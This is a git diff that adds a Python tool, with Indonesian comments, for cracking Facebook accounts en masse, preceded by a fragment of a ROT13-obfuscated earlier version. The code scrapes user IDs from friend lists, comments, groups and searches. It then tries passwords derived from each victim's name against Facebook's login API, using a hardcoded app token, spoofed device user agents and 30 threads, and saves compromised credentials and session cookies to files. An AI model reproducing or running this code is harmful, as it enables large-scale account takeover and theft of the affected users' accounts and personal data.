Ohvyq/UHNJRVRYR-Y29","QVT-NY00 Ohvyq/UHNJRVQVT-NY00","RIN-Y09 Ohvyq/UHNJRVRIN-Y09"])\n\t\tqrafvgl = enaqbz.pubvpr(["{qrafvgl=3.0,jvqgu=1080,urvtug=1920}","{qrafvgl=2.0,jvqgu=720,urvtug=1412}","{qrafvgl=1.5, jvqgu=480, urvtug=800}"])\n\t\thtrag = s"Qnivx/2.1.0 (Yvahk; H; Naqebvq {naqebvq_irefvba}; {zbqry_qrivpr} Ohvyq/{ohvyq_qrivpr}) [SONA/ZrffratreYvgr;SONI/{irefv_puebzr};SOCA/pbz.snprobbx.zyvgr;SOYP/{ynathntr};SOOI/{irefv_ncc};SOPE/{fvzpneq};SOZS/{zrex_qrivpr};SOOQ/{oenaq_qrivpr};SOQI/{zbqry_qrivpr};SOFI/{naqebvq_irefvba};SOPN/{pch_qrivpr};SOQZ/"+fge(ynetr_qrivpr)+";]"\n\t\terghea htrag\t\t\n\t\t\nvs __anzr__=="__znva__":\n\tgel:bf.zxqve("BX")\n\trkprcg:cnff\n\tgel:bf.zxqve("PC")\n\trkprcg:cnff\n\tgel:bf.zxqve("qngn")\n\trkprcg:cnff\n\tZrah().zrah()\n#Thanxna Snprobbx qnynz zbqr qnfne qratna Gevv\n''',__))('rot_13',__import__('codecs').decode)) \ No newline at end of file diff --git a/CRACK-FB/Dec_Cyber.py b/CRACK-FB/Dec_Cyber.py new file mode 100644 index 0000000..88a5e2e --- /dev/null +++ b/CRACK-FB/Dec_Cyber.py @@ -0,0 +1,780 @@ +###----------[ IMPORT MODULE LAIN ]---------- ### +import os, sys, re, time, requests, calendar, random, bs4, uuid, json, subprocess, base64 +from concurrent.futures import ThreadPoolExecutor +from bs4 import BeautifulSoup as parser +from datetime import date,datetime +from requests.exceptions import ConnectionError +ses = requests.Session() + +###----------[ IMPORT MODULE RICH ]---------- ### +from rich.panel import Panel +from rich.tree import Tree +from rich import print as prints +from rich.console import Console +from rich.table import Table +from rich.columns import Columns +from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn +console = Console() + +###----------[ WARNA PRINT RICH ]---------- ### +M2 = "[#FF0000]" # MERAH +H2 = "[#00FF00]" # HIJAU +K2 = "[#FFFF00]" # KUNING +B2 = "[#00C8FF]" # BIRU +P2 = "[#FFFFFF]" # PUTIH + +###----------[ GLOBAL NAMA ]---------- ### +sekarang = calendar.timegm(time.gmtime(time.time())) +tampung = [] +ugent = [] + +###----------[ CEK WARNA TEMA ]---------- ### +try: + file_color = open("data/theme_color","r").read() + color_text = file_color.split("|")[0] + color_panel = file_color.split("|")[1] +except: + color_text = "[#00C8FF]" + color_panel = "#00C8FF" + +###----------[ GET DATA DARI DEVICE ]---------- ### +android_version = subprocess.check_output("getprop ro.build.version.release",shell=True).decode("utf-8").replace("\n","") +try:simcard = subprocess.check_output("getprop gsm.operator.alpha",shell=True).decode("utf-8").split(",")[1].replace("\n","") +except:simcard = subprocess.check_output("getprop gsm.operator.alpha",shell=True).decode("utf-8").split(",")[0].replace("\n","") +versi_app = str(random.randint(111111111,999999999)) + +###----------[ GENERATE USERAGENT ]---------- ### +for z in range(200): + versi_android = str(random.randint(4,12))+".0.0" + versi_chrome = str(random.randint(300,325))+".0.0."+str(random.randint(1,8))+"."+str(random.randint(40,150)) + device = random.choice(["CPH1723", "CPH1901","CPH1920", "CPH1933", "CPH1937","CPH1937", "CPH1945", "CPH1951", "CPH1969", "CPH1979", "CPH1983", "CPH2005", "CPH2023", "CPH2083", "CPH2003", "CPH2004","CPH2269","vivo 1917", "vivo 1915", "vivo 1911", "vivo 1933", "vivo 1912","vivo 1920", "vivo 1921", "vivo 1910", "vivo 1927", "vivo 1913", "vivo 1923", "vivo 1926", "vivo 1928", "vivo 1931", "vivo 1935","SM-G975F","SM-G532G","SM-N975F","SM-G988U","SM-G977U","SM-A705FN","SM-A515U1","SM-G955F","SM-A750G","SM-N960F","SM-G960U","SM-J600F","SM-A908B","SM-A705GM","SM-G970U","SM-A307FN","SM-G965U1","SM-A217F","SM-G986B","SM-A207M","SM-A515W","SM-A505G","SM-A315G","SM-A507FN","SM-A505U1","SM-G977T","SM-A025G","SM-J320F","SM-A715W","SM-A908N","SM-A205F","SM-G988B","SM-N986B","SM-A715F","SM-A515F","SM-G965F","SM-G960F","SM-A505F","SM-A207F","SM-A307G","SM-G970F","SM-A107F","SM-G935F","SM-G935A","SM-A310F","SM-J320FN","Mi 11 Lite 5G stable","Mi 10T Pro","Mi 11 Lite","MI 8 Lite","MI 5X MIUI","Mi 11i","Xiaomi 11 Lite 5G NE","Xiaomi 12 Lite","Mi 9T Pro","M2004J19PI MIUI","Xiaomi 12S Ultra","MIX 4","Mi 11i","Mi Note 10","Mi 9 SE","Mi 8 SE","Mi 10 SE","MI MAX 3","Xiaomi 12T","MIX 2S","MI 8 SE","Mi A3","Mi A4","MI 6","MI MAX 2","MI MAX 3","Xiaomi 12S Ultra ","Xiaomi 12SE Ultra ","Mi 11i","Mi 12i","Mi 10 Lite 5G","Mi 11 Lite 5G","Mi 12 Lite 5G","Mi 10 Lite 4G","Mi 10 Lite 4G","E6653"," G8231","C6603"," D6503","SO-05F","SGP612","802SO","J9110","SOV40","SO-51A","XQ-AT51"," SOG01","SO51Aa","XQ-AT42","SO-51B","XQ-BC52","XQ-BC62","XQ-BC72","SOG03","J9150","I4113","I3113","I3123","I3113","901SO","J3273","XQ-CC72","XQ-BT44","SO-41B"," C2304","E5506","G3311"," C1905","D5322","Pixel 6a","Pixel 4","Pixel 5","Pixel 4 XL","Pixel 6","Pixel 6 Pro","Pixel 7 Pro","Pixel 4a","Pixel C","Pixel 5a","Pixel 2 XL","Pixel 2","Pixel Slate","Google Pixelbook Go","Google Pixelbook Go","Pixel XL","Pixel 3a","RMX1831","RMX1911","RMX1971","RMX2030","RMX2076","RMX2081","RMX2151","RMX2176","RMX2185","RMX2193","RMX2194","RMX2195","RMX3061","RMX3017","RMX3042","RMX1231"]) + dev = device.split(" Build/")[0] + az = "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z" + build = f"{random.choice(az)}{random.choice(az)}{random.choice(az)}{random.randint(10, 90)}{random.choice(az)}" + versi = random.choice(["10_0_2","10_1_1","10_2","10_2_1","10_3_1","10_3_2","10_3_3"]) + verchrome = random.choice(["602.1.50","602.2.14","602.3.12","602.4.6","603.1.30","603.2.4","603.3.8","601.1.46"]) + mob = random.choice(["14A456","14B100","14C92","14D27","14E304","14F89","14G60","13C75","13D15","13E233","13E238","13F69","13G34","13G36"]) + ua = f"UCWEB/2.0 (Linux; U; Opera Mini/7.1.32052/30.3697; id; CPH2387) U2/1.0.0 UCBrowser/9.9.0.543 Mobile [FBAN/MessengerLite;FBAV/{versi_chrome};FBBV/193013937;FBDM/"+"{density=2.625,width=1080,height=1794};"+f"FBLC/en_US;FBRV/0;FBCR/Verizon;FBMF/Google;FBBD/google;FBPN/com.facebook.mlite;FBDV/Pixel 2;FBSV/{versi_android};FBBK/1;FBOP/1;FBCA/arm64-v8a:;" + + + + if ua in ugent:pass + else:ugent.append(ua) + +###----------[ LOGO AUTHOR DAN VERSI]---------- ### +class Logo: + + ###----------[ BERSIHKAN LAYAR ]---------- ### + def bersihkan_layar(self): + if "linux" in sys.platform.lower(): + try:os.system("clear") + except:pass + elif "win" in sys.platform.lower(): + try:os.system("cls") + except:pass + else: + try:os.system("clear") + except:pass + + ###----------[ LOGO ]---------- ### + def logonya(self): + self.bersihkan_layar() + prints(Panel(f"""{color_text} {K2} + + +███╗░░░███╗░█████╗░░█████╗░██╗░░██╗ +████╗░████║██╔══██╗██╔══██╗██║░░██║ +██╔████╔██║██║░░██║██║░░╚═╝███████║ +██║╚██╔╝██║██║░░██║██║░░██╗██╔══██║ +██║░╚═╝░██║╚█████╔╝╚█████╔╝██║░░██║ +╚═╝░░░░░╚═╝░╚════╝░░╚════╝░╚═╝░░╚═╝ + + +███╗░░██╗░█████╗░███╗░░██╗░██████╗░░██████╗░ +████╗░██║██╔══██╗████╗░██║██╔════╝░██╔════╝░ +██╔██╗██║███████║██╔██╗██║██║░░██╗░██║░░██╗░ +██║╚████║██╔══██║██║╚████║██║░░╚██╗██║░░╚██╗ +██║░╚███║██║░░██║██║░╚███║╚██████╔╝╚██████╔╝ +╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚══╝░╚═════╝░░╚═════╝░ + Thaks {B2} 𝐴𝑙𝑒𝑥 𝑔𝑎𝑛𝑠,𝑅𝑜𝑏𝑒𝑡 𝑋𝐷, 𝐿𝑢𝑐𝑖𝑣𝑒𝑟 𝑋𝐷, 𝑴𝑶𝑪𝑯 𝑵𝑨𝑵𝑮𝑮 𝑿𝑫 + 𝕄𝕒𝕕𝕖 𝔹𝕪 {B2} 🇲​​​​​🇴​​​​​🇨​​​​​🇭​​​​​ 🇳​​​​​🇦​​​​​🇳​​​​​🇬​​​​​🇬​​​​​ 🇽​​​​​🇩​​​​​ {K2}ℂ𝕠𝕕𝕖𝕣""",width=80,style=f"{color_panel}")) + +###----------[ BAGIAN LOGIN ]---------- ### +class Login: + + ###----------[ FUNCTION INIT ]---------- ### + def __init__(self): + self.ip = ses.get("http://ip-api.com/json/").json()["query"] + self.negara = ses.get("http://ip-api.com/json/").json()["country"] + + ###----------[ MENU LOGIN ]---------- ### + def menu_login(self): + Logo().logonya() + prints(Panel(f"{P2}{self.ip}",padding=(0,30),subtitle=f"{H2}{self.negara}",style=f"{color_panel}")) + prints(Panel(f"""{P2}[{color_text}01{P2}]. ʟᴏɢɪɴ ᴄᴏᴏᴋɪᴇ +[{color_text}02{P2}]. ʟᴏɢɪɴ {M2}ᴇᴍᴀɪʟ ᴀɴᴅ ᴘᴀꜱꜱᴡᴏʀᴅ""",width=80,padding=(0,15),style=f"{color_panel}")) + login = console.input(f" {H2}• {P2}ᴘɪʟɪʜ ᴍᴇɴᴜ : ") + if login in["1","01"]: + prints(Panel(f"""{P2}ꜱɪʟᴀʜᴋᴀɴ ᴍᴀꜱᴜᴋᴀɴ ᴄᴏᴏᴋɪᴇᴍᴜ ʙᴀɴɢ""",width=80,style=f"{color_panel}")) + cookie = console.input(f" {H2}• {P2}ᴄᴏᴏᴋɪᴇᴍᴜ : ") + #open("data/cookie","w").write(cookie) + self.login_cookie(cookie) + else: + exit(prints(Panel(f"""{M2} ᴍᴀᴀꜰ ʙᴇʟᴜᴍ ᴅɪ ᴜᴘᴅᴀᴛᴇ ʙʀᴇ""",width=80,style=f"{color_panel}"))) + + ###----------[ LOGIN COOKIE ]---------- ### + def login_cookie(self,cookie): + try: + url = ses.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text + if "Apa yang Anda pikirkan sekarang" in url: + pass + else: + for z in url.find_all("a",href=True): + if "Tidak, Terima Kasih" in z.text: + get = ses.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie": cookie}) + parsing = parser(get.text,"html.parser") + action = parsing.find("form",{"method":"post"})["action"] + data = { + "fb_dtsg":re.search('name="fb_dtsg" value="(.*?)"', str(get.text)).group(1), + "jazoest":re.search('name="jazoest" value="(.*?)"', str(get.text)).group(1), + "submit": "OK, Gunakan Data" + } + post = ses.post("https://mbasic.facebook.com"+action,data=data,cookies={"cookie": cookie}) + break + open("data/cookie","w").write(cookie) + Menu().menu() + except: + prints(Panel(f"""{M2}ᴄᴏᴏᴋɪᴇᴍᴜ ᴍᴏᴅᴀʀ ɢᴏʙʟᴏᴋ""",width=80,style=f"{color_panel}")) + sys.exit() + + ###----------[ UBAH BAHASA ]---------- ### + def ubah_bahasa(self,cookie): + try: + url = ses.get("https://mbasic.facebook.com/language/",cookies={"cookie": cookie}) + parsing = parser(url.text,"html.parser") + for x in parsing.find_all("form",{"method":"post"}): + if "Bahasa Indonesia" in str(x): + data = { + "fb_dtsg" : re.search('name="fb_dtsg" value="(.*?)"',str(url.text)).group(1), + "jazoest" : re.search('name="jazoest" value="(.*?)"', str(url.text)).group(1), + "submit" : "Bahasa Indonesia" + } + post = ses.post("https://mbasic.facebook.com"+x["action"],data=data,cookies={"cookie": cookie}) + except: + pass + +###----------[ BAGIAN MENU ]---------- ### +class Menu: + + ###----------[ FUNCTION INIT ]---------- ### + def __init__(self): + self.men = [] + self.id = [] + self.ip = ses.get("http://ip-api.com/json/").json()["query"] + self.negara = ses.get("http://ip-api.com/json/").json()["country"] + + ###----------[ CEK INFO LOGIN ]---------- ### + def cek_login(self,cookie): + try: + url = ses.get("https://mbasic.facebook.com/profile.php",cookies=cookie).text + nama = re.findall("(.*?)",url)[0] + if "Konten Tidak Ditemukan" in nama: + try:os.remove("data/cookie") + except:pass + Login().menu_login() + else: + return nama + except ConnectionError: + prints(Panel(f"""{M2}ᴋᴏɴᴇᴋꜱɪ ᴊᴇʟᴇᴋ,ʜᴀʀᴀᴘ ᴅᴜᴅᴜᴋ ᴅɪ ᴀᴛᴀꜱ ᴛᴏᴡᴇʀ""",width=80,style=f"{color_panel}")) + exit() + + ###----------[ MENU UTAMA ]---------- ### + def menu(self): + Logo().logonya() + + ###----------[ GET COOKIE DAN DATA ]---------- ### + try: + cok = open("data/cookie","r").read() + cookie = {"cookie": cok} + nama = self.cek_login(cookie) + except: + try:os.remove("data/cookie") + except:pass + Login().menu_login() + + ###----------[ PANEL BIASA ]---------- ### + prints(Panel(f"{M2}{self.ip}",padding=(0,30),title=f"{K2}{nama}",subtitle=f"{B2}{self.negara}",style=f"{color_panel}")) + prints(Panel(f"""{K2}[{color_text}01{K2}]. ᴄʀᴀᴄᴋ ɪᴅ ꜰᴇᴄᴇʙᴏᴏᴋ [{color_text}05{K2}].𝘾𝙧𝙖𝙘𝙠 𝙪𝙨𝙚𝙧𝙣𝙖𝙢𝙚 𝙁𝙖𝙘𝙚𝙗𝙤𝙤𝙠 +[{color_text}02{K2}].𝐂𝐫𝐚𝐜𝐤 𝐏𝐞𝐧𝐠𝐢𝐤𝐮𝐭 𝐟𝐛 [{color_text}06{K2}].𝐂𝐫𝐚𝐜𝐤 𝐧𝐚𝐦𝐚 𝐟𝐛 +[{color_text}03{K2}].𝐂𝐫𝐚𝐜𝐤 𝐤𝐨𝐦𝐞𝐧𝐭𝐚𝐫 𝐟𝐛 [{color_text}07{K2}].𝐂𝐫𝐚𝐜𝐤 𝐠𝐫𝐮𝐩 𝐟𝐛 +[{color_text}04{K2}].𝐂𝐫𝐚𝐜𝐤 𝐞𝐦𝐚𝐢𝐥 𝐟𝐛 [{color_text}08{K2}].𝐂𝐫𝐚𝐜𝐤 𝐨𝐩𝐬𝐢 𝐜𝐩 𝐟𝐛""",width=80,padding=(0,6),style=f"{color_panel}")) + prints(Panel(f"""{K2}ketik {H2}bot{K2} untuk ke menu bot dan ketik {H2}lain{K2} untuk ke menu lain""",width=80,padding=(0,6),style=f"{color_panel}")) + menu = console.input(f" {H2}• {K2}pilih menu : ") + + ###----------[ ID PUBLIK ]---------- ### + if menu in["1","01"]: + prints(Panel(f"""{K2}masukan id target, pastikan id target bersifat publik dan tidak private""",subtitle=f"{B2}ketik {H2}me{K2} untuk dump dari teman sendiri",width=80,style=f"{color_panel}")) + user = console.input(f" {H2}• {B2}masukan id atau username : ") + if user in["Me","me"]: + user = Dump(cookie).GetUser() + Dump(cookie).Dump_Publik(f"https://m.facebook.com/{user}?v=friends") + Crack().atursandi() + + ###----------[ KOMENTAR ]---------- ### + elif menu in["3","03"]: + prints(Panel(f"""{K2}masukan id postingan, pastikan postingan bersifat publik dan tidak private""",width=80,style=f"{color_panel}")) + user = console.input(f" {H2}• {K2}masukan id postingan : ") + Dump(cookie).Dump_Komentar(f"https://mbasic.facebook.com/{user}") + Crack().atursandi() + + ###----------[ EMAIL ]---------- ### + elif menu in["4","04"]: + prints(Panel(f"""{K2}masukan nama dan format email gunakan '@' di awal contoh @gmail.com""",width=80,style=f"{color_panel}")) + user = console.input(f" {H2}• {P2}masukan nama : ") + format = console.input(f" {H2}• {P2}masukan format : ") + limit = console.input(f" {H2}• {P2}masukan limit : ") + Dump(cookie).Dump_Email(user,format,limit) + Crack().atursandi() + + ###----------[ USERNAME ]---------- ### + elif menu in["5","05"]: + prints(Panel(f"""{P2}masukan nama dan jika 2 kata bisa gunakan titik '.' sebagai pemisah""",width=80,style=f"{color_panel}")) + user = console.input(f" {H2}• {K2}masukan nama : ") + limit = console.input(f" {H2}• {K2}masukan limit : ") + Dump(cookie).Dump_Username(user,limit) + Crack().atursandi() + + ###----------[ PENCARIAN NAMA ]---------- ### + elif menu in["6","06"]: + prints(Panel(f"""{P2}kamu bisa menggunakan koma (,) sebagai pemisah jika lebih dari 1 nama""",width=80,style=f"{color_panel}")) + user = console.input(f" {H2}• {P2}masukan nama : ") + common = open("asset/nama_indonesia","r").read().splitlines() + for idt in user.split(","): + self.id.append(idt) + for people in common: + self.id.append(people+" "+idt) + try: + for gas in self.id: + Dump(cookie).Dump_Pencarian(f"https://mbasic.facebook.com/public/{gas}") + except:pass + Crack().atursandi() + + ###----------[ MEMBER GRUP ]---------- ### + elif menu in["7","07"]: + prints(Panel(f"""{P2}masukan id grup, pastikan grup bersifat publik dan tidak private""",width=80,style=f"{color_panel}")) + user = console.input(f" {H2}• {P2}masukan id grup : ") + Dump(cookie).Dump_MemberGrup(f"https://mbasic.facebook.com/groups/{user}") + Crack().atursandi() + + ###----------[ FILE MASSAL ]---------- ### + elif menu in["8","08"]: + file_cp() + + ###----------[ PINDAH KE MENU BOT ]---------- ### + elif menu in["BOT","Bot","bot"]: + exit(prints(Panel(f"""{M2}🙏 maaf fitur ini belum tersedia, silahkan menunggu update selanjutnya""",width=80,style=f"{color_panel}"))) + + ###----------[ PINDAH KE MENU LAIN ]---------- ### + elif menu in["LAIN","Lain","lain"]: + Lain(cookie).menu() + + else: + exit(prints(Panel(f"""{M2}🙏 maaf fitur ini belum tersedia, silahkan menunggu update selanjutnya""",width=80,style=f"{color_panel}"))) + +###----------[ BAGIAN DUMP ]---------- ### +class Dump: + + ###----------[ FUNCTION INIT ]---------- ### + def __init__(self,cookie): + self.cookie = cookie + + ###----------[ GET USER SENDIRI ]---------- ### + def GetUser(self): + try: + url = ses.get("https://mbasic.facebook.com/profile.php",cookies=self.cookie).text + uid = re.findall('name="target" value="(.*?)"',url)[0] + return uid + except: + pass + + ###----------[ DUMP ID PUBLIK ]---------- ### + def Dump_Publik(self,url): + try: + url = parser(ses.get(url,cookies=self.cookie).text,"html.parser") + for z in url.find_all("a",href=True): + if "fref" in z.get("href"): + if "/profile.php?id=" in z.get("href"):uid = "".join(bs4.re.findall("profile\.php\?id=(.*?)&",z.get("href")));nama = z.text + else:uid = "".join(bs4.re.findall("/(.*?)\?",z.get("href")));nama = z.text + if uid+"<=>"+nama in tampung:pass + else:tampung.append(uid+"<=>"+nama) + console.print(f" {H2}• {K2}sedang proses mengumpulkan id, berhasil mendapatkan {len(tampung)} id....", end="\r") + for x in url.find_all("a",href=True): + if "Lihat Teman Lain" in x.text: + self.Dump_Publik("https://mbasic.facebook.com/"+x.get("href")) + except:pass + + ###----------[ DUMP KOMENTAR ]---------- ### + def Dump_Komentar(self,url): + try: + data = parser(ses.get(url).text,"html.parser") + for isi in data.find_all("h3"): + for ids in isi.find_all("a",href=True): + if "profile.php" in ids.get("href"):uid = ids.get("href").split('=')[1].replace("&refid","") + else:uid = re.findall("/(.*?)?__",ids["href"])[0]. replace("?refid=52&","") + nama = ids.text + if uid+"<=>"+nama in tampung:pass + else:tampung.append(uid+"<=>"+nama) + console.print(f" {H2}• {P2}sedang proses mengumpulkan id, berhasil mendapatkan {len(tampung)} id....", end="\r") + for z in data.find_all("a",href=True): + if "Lihat komentar sebelumnya…" in z.text: + self.Dump_Komentar("https://mbasic.facebook.com"+z["href"]) + except:pass + + ###----------[ DUMP PENCARIAN NAMA ]---------- ### + def Dump_Pencarian(self,url): + try: + data = parser(ses.get(str(url)).text,'html.parser') + for z in data.find_all("td"): + namp = re.findall('\\\(.*?)<\/div\>',str(z)) + for uid,nama in namp: + if "profile.php?" in uid:uid = re.findall("id=(.*)",str(uid))[0] + elif ""+nama in tampung:pass + else:tampung.append(uid+"<=>"+nama) + console.print(f" {H2}• {P2}sedang proses mengumpulkan id, berhasil mendapatkan {len(tampung)} id....", end="\r") + for x in data.find_all("a",href=True): + if "Lihat Hasil Selanjutnya" in x.text: + self.Dump_Pencarian(x.get("href")) + except:pass + + ###----------[ DUMP MEMBER GRUP ]---------- ### + def Dump_MemberGrup(self,url): + try: + data = parser(ses.get(url,cookies=self.cookie,headers={"user-agent": "Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba"}).text, "html.parser") + judul = re.findall("(.*?)",str(data))[0] + for isi in data.find_all("h3"): + for ids in isi.find_all("a",href=True): + if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text + else: + if ids.text==judul:pass + else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text + if uid+"<=>"+nama in tampung:pass + else:tampung.append(uid+"<=>"+nama) + console.print(f" {H2}• {B2}sedang proses mengumpulkan id, berhasil mendapatkan {len(tampung)} id....", end="\r") + for x in data.find_all("a",href=True): + if "Lihat Postingan Lainnya" in x.text: + self.Dump_MemberGrup("https://mbasic.facebook.com"+x.get("href")) + except:pass + + ###----------[ DUMP FILE ]---------- ### + def Dump_File(self,lok): + try: + file = open(lok,"r").read().splitlines() + for z in file: + tampung.append(z) + except:pass + + ###----------[ DUMP EMAIL ]---------- ### + def Dump_Email(self,nama,format,limit): + try: + for z in range(int(limit)): + if len(nama.split()) > 1: + email = str(nama.split()[0])+str(nama.split()[1])+str(z)+str(format)+"<=>"+str(nama.split()[0])+" "+str(nama.split()[1]) + else: + email = str(nama)+str(z)+str(format)+"<=>"+str(nama) + if email in tampung:pass + else:tampung.append(email) + except:pass + + ###----------[ DUMP USERNAME ]---------- ### + def Dump_Username(self,nama,limit): + try: + for z in range(int(limit)): + if "." in nama: + user = str(nama)+"."+str(z)+"<=>"+str(nama.replace("."," ")) + else: + user = str(nama)+"."+str(z)+"<=>"+str(nama) + if user in tampung:pass + else:tampung.append(user) + except:pass + +###----------[ BAGIAN CRACK ]---------- ### +class Crack: + + ###----------[ FUNCTION INIT ]---------- ### + def __init__(self): + self.loop = 0 + self.ok = [] + self.cp = [] + self.apk = [] + self.aktif = [] + self.kadaluwarsa = [] + self.hari_ini = datetime.now().strftime("%d-%B-%Y") + + ###----------[ ATUR SANDI DAN METODE ]---------- ### + def atursandi(self): + prints(Panel(f"""{H2}berhasil mengumpulkan {len(tampung)} id""",width=80,padding=(0,21),style=f"{color_panel}")) + set = console.input(f" {H2}• {K2}apakah kamu ingin menggunakan sandi manual?(y/n) : ") + + ###----------[ SANDI MANUAL ]---------- ### + if set in["Y","y"]: + prints(Panel(f"""{K2}silahkan buat katasandi dengan , (koma) sebagai pemisah tiap katasandi""",width=80,style=f"{color_panel}")) + pwx = console.input(f" {H2}• {B2}buat katasandi : ").split(",") + if len(pwx)<=5: + prints(Panel(f"""{M2}katasandi harus minimal 6 huruf""",width=80,style=f"{color_panel}")) + exit() + prints(Panel(f"""{K2}memunculkan aplikasi bisa membuat akun terkena checkpoint/dinonaktifkan""",width=80,style=f"{color_panel}")) + app = console.input(f" {H2}• {K2}apakah kamu ingin memunculkan aplikasi terkait?(y/n) : ") + if app in["Y","y"]: + self.apk.append("muncul") + else: + self.apk.append("kontol anjing") + self.manual(pwx) + + ###----------[ SANDI OTOMATIS ]---------- ### + else: + prints(Panel(f"""{B2}memunculkan aplikasi bisa membuat akun terkena checkpoint/dinonaktifkan""",width=80,style=f"{color_panel}")) + app = console.input(f" {H2}• {K2}apakah kamu ingin memunculkan aplikasi terkait?(y/n) : ") + if app in["Y","y"]: + self.apk.append("muncul") + else: + self.apk.append("kontol anjing") + self.otomatis() + + ###----------[ CRACK MANUAL ]---------- ### + def manual(self,pw): + global prog,des + prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn()) + des = prog.add_task('',total=len(tampung)) + with prog: + with ThreadPoolExecutor(max_workers=30) as fall: + self.simpan_hasil() + for data in tampung: + user = data.split("<=>")[0] + nama = data.split("<=>")[1] + pwx = pw + fall.submit(self.metode_api,user,pwx) + prints(Panel(f"""{K2}berhasil crack total {len(tampung)} id, dengan hasil OK : {H2}{len(self.ok)}{P2} CP : {K2}{len(self.cp)}{P2}""",width=80,padding=(0,8),style=f"{color_panel}")) + sys.exit() + + ###----------[ CRACK OTOMATIS ]---------- ### + def otomatis(self): + global prog,des + prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn()) + des = prog.add_task('',total=len(tampung)) + with prog: + with ThreadPoolExecutor(max_workers=30) as fall: + self.simpan_hasil() + for data in tampung: + try: + pwx = [] + user = data.split("<=>")[0] + nama = data.split("<=>")[1] + depan = nama.split(" ")[0] + if len(nama)<=5: + if len(depan)<3: + pass + else: + pwx.append(depan+"123") + pwx.append(depan+" 1234") + pwx.append(depan+"12345") + else: + if len(depan)<3: + pwx.append(nama) + else: + pwx.append(nama) + pwx.append(depan+"123") + pwx.append(depan+" 1234") + pwx.append(depan+"12345") + belakang = nama.split(" ")[1] + if len(belakang)<3: + pwx.append(depan+belakang) + else: + pwx.append(depan+belakang) + pwx.append(belakang+"123") + pwx.append(belakang+" 1234") + pwx.append(belakang+"12345") + fall.submit(self.metode_api,user,pwx) + except: + fall.submit(self.metode_api,user,pwx) + prints(Panel(f"""{K2}berhasil crack total {len(tampung)} id, dengan hasil OK : {H2}{len(self.ok)}{B2} CP : {K2}{len(self.cp)}{B2}""",width=80,padding=(0,8),style=f"{color_panel}")) + sys.exit() + + ###----------[ METODE API ]---------- ### + def metode_api(self,email,pwx): + prog.update(des,description=f" {H2}•{K2} HackFB {H2}Alex Gans{K2} {str(self.loop)}/{len(tampung)} OK : {H2}{len(self.ok)}{B2} CP : {M2}{len(self.cp)}{B2}") + prog.advance(des) + try: + for pw in pwx: + pw = pw.lower() + ua = random.choice(ugent) + params = { + "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16", + "sdk_version": f"{str(random.randint(1,26))}", + "email": email, + "locale": "en_US", + "password": pw, + "sdk": "android", + "generate_session_cookies": "1", + "sig": "4f648f21fb58fcd2aa1c65f35f441ef5" + } + headers = { + "Host": "graph.facebook.com", + "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)), + "x-fb-sim-hni": str(random.randint(20000, 40000)), + "x-fb-net-hni": str(random.randint(20000, 40000)), + "x-fb-connection-quality": "EXCELLENT", + "user-agent": ua, + "content-type": "application/x-www-form-urlencoded", + "x-fb-http-engine": "Liger" + } + post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False) + if "session_key" in post.text and "EAA" in post.text: + coki = ";".join(i["name"]+"="+i["value"] for i in post.json()["session_cookies"]) + sb = base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-") + cookie = f"sb={sb};{coki}" + user = re.findall("c_user=(\d+)",cookie)[0] + if user in self.ok or user in self.cp: + break + else: + self.ok.append(user) + if "muncul" in self.apk: + self.get_apk(user,pw,cookie) + else: + tree = Tree(Panel.fit(f"""{H2}{ok}|{password}{P2}""",style=f"{color_panel}"),guide_style="bold grey100") + tree.add(Panel(f"{B2}{ua}{P2}",style=f"{color_panel}")) + tree.add(Panel(f"{H2}{cookies}{P2}",style=f"{color_panel}")) + prints(tree) + open(f"OK/{self.hari_ini}.txt","a").write(f"{user}|{pw}|{cookie}\n") + break + elif "User must verify their account" in post.text: + user = post.json()["error"]["error_data"]["uid"] + if user in self.ok or user in self.cp: + break + else: + self.cp.append(user) + tree = Tree(Panel.fit(f"""{K2}{ Cp}|{password}{P2}""",style=f"{color_panel}"),guide_style="bold grey100") + tree.add(Panel(f"{M2}{ua}{P2}",style=f"{color_panel}")) + prints(tree) + open(f"CP/{self.hari_ini}.txt","a").write(f"{user}|{pw}\n") + break + elif "Calls to this api have exceeded the rate limit. (613)" in post.text: + prog.update(des,description=f" {H2}•{P2} crack {M2}spam{P2} {str(self.loop)}/{len(tampung)} CP : {H2}{len(self.ok)}{P2} OK : {H2}{len(self.cp)}{P2}") + prog.advance(des) + time.sleep(30) + else:continue + except ConnectionError: + time.sleep(30) + self.metode_api(user,pwx) + self.loop +=1 + + ###----------[ PRINT SIMPAN HASIL ]---------- ### + def simpan_hasil(self): + prints(Panel(f"""\r{P2}hasil crack ok tersimpan ke : OK/{self.hari_ini}.txt +{P2}hasil crack ok tersimpan ke : CP/{self.hari_ini}.txt""",width=80,padding=(0,10),style=f"{color_panel}")) + + ###----------[ PRINT MUNCUL APK ]---------- ### + def get_apk(self,user,pw,cookie): + + ###----------[ CEK MODE GRATIS ]---------- ### + try: + url = ses.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text + if "Apa yang Anda pikirkan sekarang" in url: + pass + else: + for z in url.find_all("a",href=True): + if "Tidak, Terima Kasih" in z.text: + get = ses.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie": cookie}) + parsing = parser(get.text,"html.parser") + action = parsing.find("form",{"method":"post"})["action"] + data = { + "fb_dtsg":re.search('name="fb_dtsg" value="(.*?)"', str(get.text)).group(1), + "jazoest":re.search('name="jazoest" value="(.*?)"', str(get.text)).group(1), + "submit": "OK, Gunakan Data" + } 